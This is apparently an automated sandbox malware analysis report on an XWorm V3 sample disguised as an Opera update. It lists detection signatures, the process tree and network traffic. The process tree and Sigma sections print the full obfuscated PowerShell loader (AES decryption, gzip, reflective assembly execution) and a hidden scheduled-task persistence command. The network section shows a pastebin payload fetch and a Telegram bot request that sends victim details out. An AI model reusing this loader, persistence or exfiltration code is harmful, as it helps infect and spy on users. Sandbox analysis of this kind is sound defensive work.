Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1493241
MD5:	bd315453d1c70b1683863d8709e7a3b8
SHA1:	2c0db6606b7321a55b04645c79642fa35426743e
SHA256:	496b503ab6692efcb2967335b324ed00169e9ed6766529d730ef58e7927e8ffa
Tags:	exe
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell decode and execute

AI detected suspicious sample

Connects to a pastebin service (likely for C&C)

Loading BitLocker PowerShell Module

Powershell drops PE file

Protects its processes via BreakOnTermination flag

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Powerup Write Hijack DLL

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Abnormal high CPU Usage

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain checking for process token information

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Gzip Archive Decode Via PowerShell

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: Startup Folder File Write

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

file.exe (PID: 7452 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BD315453D1C70B1683863D8709E7A3B8)

cmd.exe (PID: 7468 cmdline: cmd /c "Opera_Update.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7524 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9EHtJ11By61kS8vpIjv1e6+WeJMREtPFNuaC1PKqnxU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ddpslYZ3AovF8/F/PVkcRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nMJpl=New-Object System.IO.MemoryStream(,$param_var); $pYOJO=New-Object System.IO.MemoryStream; $PZyWJ=New-Object System.IO.Compression.GZipStream($nMJpl, [IO.Compression.CompressionMode]::Decompress); $PZyWJ.CopyTo($pYOJO); $PZyWJ.Dispose(); $nMJpl.Dispose(); $pYOJO.Dispose(); $pYOJO.ToArray();}function execute_function($param_var,$param2_var){ $ybABJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XmKpu=$ybABJ.EntryPoint; $XmKpu.Invoke($null, $param2_var);}$NtXQf = 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Opera_Update.bat';$host.UI.RawUI.WindowTitle = $NtXQf;$xcJVx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NtXQf).Split([Environment]::NewLine);foreach ($JtxvS in $xcJVx) { if ($JtxvS.StartsWith('GIzCsOPRFtcNTtsmEyZB')) { $TjCqT=$JtxvS.Substring(20); break; }}$payloads_var=[string[]]$TjCqT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 7532 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7692 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_414_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\AppData\Roaming\Windows_Log_414.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7700 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 7932 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7984 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Windows_Log_414.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7992 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8036 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9EHtJ11By61kS8vpIjv1e6+WeJMREtPFNuaC1PKqnxU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ddpslYZ3AovF8/F/PVkcRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nMJpl=New-Object System.IO.MemoryStream(,$param_var); $pYOJO=New-Object System.IO.MemoryStream; $PZyWJ=New-Object System.IO.Compression.GZipStream($nMJpl, [IO.Compression.CompressionMode]::Decompress); $PZyWJ.CopyTo($pYOJO); $PZyWJ.Dispose(); $nMJpl.Dispose(); $pYOJO.Dispose(); $pYOJO.ToArray();}function execute_function($param_var,$param2_var){ $ybABJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XmKpu=$ybABJ.EntryPoint; $XmKpu.Invoke($null, $param2_var);}$NtXQf = 'C:\Users\user\AppData\Roaming\Windows_Log_414.bat';$host.UI.RawUI.WindowTitle = $NtXQf;$xcJVx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NtXQf).Split([Environment]::NewLine);foreach ($JtxvS in $xcJVx) { if ($JtxvS.StartsWith('GIzCsOPRFtcNTtsmEyZB')) { $TjCqT=$JtxvS.Substring(20); break; }}$payloads_var=[string[]]$TjCqT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 8044 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden MD5: 04029E121A0CFA5991749937DD22A1D9)

wscript.exe (PID: 7852 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

rundll32.exe (PID: 8144 cmdline: "C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\" MD5: EF3179D498793BF4234F708D3BE28633)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/ConDrv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security
\Device\ConDrv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7532.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security
amsi64_8044.amsi.csv	JoeSecurity_PowershellDecodeAndExecute	Yara detected Powershell decode and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8044, TargetFilename: C:\Users\user\AppData\Roaming\powershell.exe

Sigma detected: Potential Startup Shortcut Persistence Via PowerShell.EXE

Source: File created

Author: Christopher Peacock '@securepeacock', SCYTHE: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8044, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7532, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs" , ProcessId: 7932, ProcessName: wscript.exe

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7532, TargetFilename: C:\Users\user\AppData\Roaming\Windows_Log_414.bat

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs" , CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs" , ProcessId: 7852, ProcessName: wscript.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 7452, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0

Sigma detected: Gzip Archive Decode Via PowerShell

Source: Process started

Author: Hieu Tran: Data: Command: C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9EHtJ11By61kS8vpIjv1e6+WeJMREtPFNuaC1PKqnxU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ddpslYZ3AovF8/F/PVkcRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nMJpl=New-Object System.IO.MemoryStream(,$param_var); $pYOJO=New-Object System.IO.MemoryStream; $PZyWJ=New-Object System.IO.Compression.GZipStream($nMJpl, [IO.Compression.CompressionMode]::Decompress); $PZyWJ.CopyTo($pYOJO); $PZyWJ.Dispose(); $nMJpl.Dispose(); $pYOJO.Dispose(); $pYOJO.ToArray();}function execute_function($param_var,$param2_var){ $ybABJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $XmKpu=$ybABJ.EntryPoint; $XmKpu.Invoke($null, $param2_var);}$NtXQf = 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\Opera_Update.bat';$host.UI.RawUI.WindowTitle = $NtXQf;$xcJVx=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($NtXQf).Split([Environment]::NewLine);foreach ($JtxvS in $xcJVx) { if ($JtxvS.StartsWith('GIzCsOPRFtcNTtsmEyZB')) { $TjCqT=$JtxvS.Substring(20); break; }}$payloads_var=[string[]]$TjCqT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); ", CommandLine: C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9EHtJ11By61kS8vpIjv1e6+WeJMREtPFNuaC1PKqnxU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ddpslYZ3AovF8/F/PVkcRw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nMJpl=New-Object System.IO.MemoryStream(,$param_var); $pYOJO=New-Object System.IO.MemoryStream; $PZyWJ=New-Object System.IO.Compression.GZipStream($nMJpl, [IO.Compression.CompressionMode]::Decompress); $PZyWJ.CopyTo($pYOJO); $PZyWJ.Dispose(); $nMJpl.Dispose(); $pYOJO.Dispose(); $pYOJ

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7532, TargetFilename: C:\Users\user\AppData\Roaming\Windows_Log_414.vbs

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8044, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs" , CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\Windows_Log_414.vbs" , ProcessId: 7852, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /c "Opera_Update.bat", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7468, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden, ProcessId: 7532, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound - Source IP: 192.168.2.4 - Destination IP: 94.141.120.29

Timestamp:	2024-08-15T08:10:55.432680+0200
SID:	2855924
Severity:	1
Source Port:	50691
Destination Port:	443
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/XWorm Checkin via Telegram - Source IP: 192.168.2.4 - Destination IP: 149.154.167.220

Timestamp:	2024-08-15T08:09:23.904435+0200
SID:	2853685
Severity:	1
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\Windows_Log_414.vbs

Avira: detection malicious, Label: BAT/Runner.OB

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 15%
Source: file.exe	Virustotal: Detection: 16%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.7% probability

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78CA62E28 GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,GetLastError,SetCurrentDirectoryA,

0_2_00007FF78CA62E28

Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49735 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: wextract.pdb source: file.exe
Source:	Binary string: wextract.pdbGCTL source: file.exe
Source:	Binary string: powershell.pdbUGP source: powershell.exe.12.dr
Source:	Binary string: powershell.pdb source: powershell.exe.12.dr

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00007FF78CA61F00 FindFirstFileA,lstrcmpA,lstrcmpA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,

0_2_00007FF78CA61F00

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.4:50691 -> 94.141.120.29:443
Source: Network traffic	Suricata IDS: 2853685 - Severity 1 - ETPRO MALWARE Win32/XWorm Checkin via Telegram : 192.168.2.4:49735 -> 149.154.167.220:443

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /raw/RC2EiWaF HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot7014340212:AAH7pEXbcp-rOhGS8YVjIHjg0C8qlSDZSI4/sendMessage?chat_id=-1002233278906&text=%E2%98%A0%20%5BXWorm%20V3.1%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A318CC4CF7D59F1751A28%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /raw/RC2EiWaF HTTP/1.1Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot7014340212:AAH7pEXbcp-rOhGS8YVjIHjg0C8qlSDZSI4/sendMessage?chat_id=-1002233278906&text=%E2%98%A0%20%5BXWorm%20V3.1%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A318CC4CF7D59F1751A28%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: adsguarddns.redirectme.net

Source: powershell.exe, 00000005.00000002.1784680246.000001DCF2345000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 00000005.00000002.1779351714.000001DC90077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000005.00000002.1755066332.000001DC80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.1755066332.000001DC80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000005.00000002.1779351714.000001DC90077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000005.00000002.1779351714.000001DC90077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000005.00000002.1779351714.000001DC90077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000005.00000002.1755066332.000001DC80228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000005.00000002.1779351714.000001DC90077000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50738
Source: unknown	Network traffic detected: HTTP traffic on port 50726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50730
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50746
Source: unknown	Network traffic detected: HTTP traffic on port 50578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50745
Source: unknown	Network traffic detected: HTTP traffic on port 50853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50747
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50440 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50740
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50741
Source: unknown	Network traffic detected: HTTP traffic on port 50325 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50758
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50753
